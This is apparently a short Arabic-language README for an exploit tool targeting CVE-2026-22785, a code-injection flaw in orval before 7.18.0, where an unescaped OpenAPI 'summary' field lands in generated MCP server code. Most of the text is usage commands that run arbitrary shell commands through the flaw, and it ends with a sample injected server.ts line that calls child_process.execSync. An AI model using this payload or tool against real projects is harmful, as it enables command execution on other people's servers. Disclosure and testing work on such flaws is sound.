langbyyi/cve-2026-22785أداة استغلال لـ CVE-2026-22785، وهي حقن كود حرج في orval < 7.18.0. توفر تنفيذ أوامر الصدفة وفحص الملفات لإظهار الثغرة والتحقق من حقن الحمولة.
عند إنشاء كود خادم MCP في orval < 7.18.0، يتم لصق حقل summary من مواصفات OpenAPI مباشرة في القالب دون تهريب، مما يؤدي إلى حقن كود.
cd exploit
npm install
# تنفيذ الأمر (استغلال الثغرة)
python cve_tool.py shell <أمر>
# مثال
python cve_tool.py shell whoami
python cve_tool.py shell "node --version"
python cve_tool.py shell dir
# فحص ملف
python cve_tool.py scan <ملف>
<مخرجات الأمر>
[+] CVE-2026-22785: تم حقن الحمولة بنجاح
[+] موقع الحقن: server.ts:31
كود server.ts المُنشأ:
server.tool(
'getApiDemo',
'API.' + require('child_process').execSync('whoami', {}),//',
getApiDemoHandler
);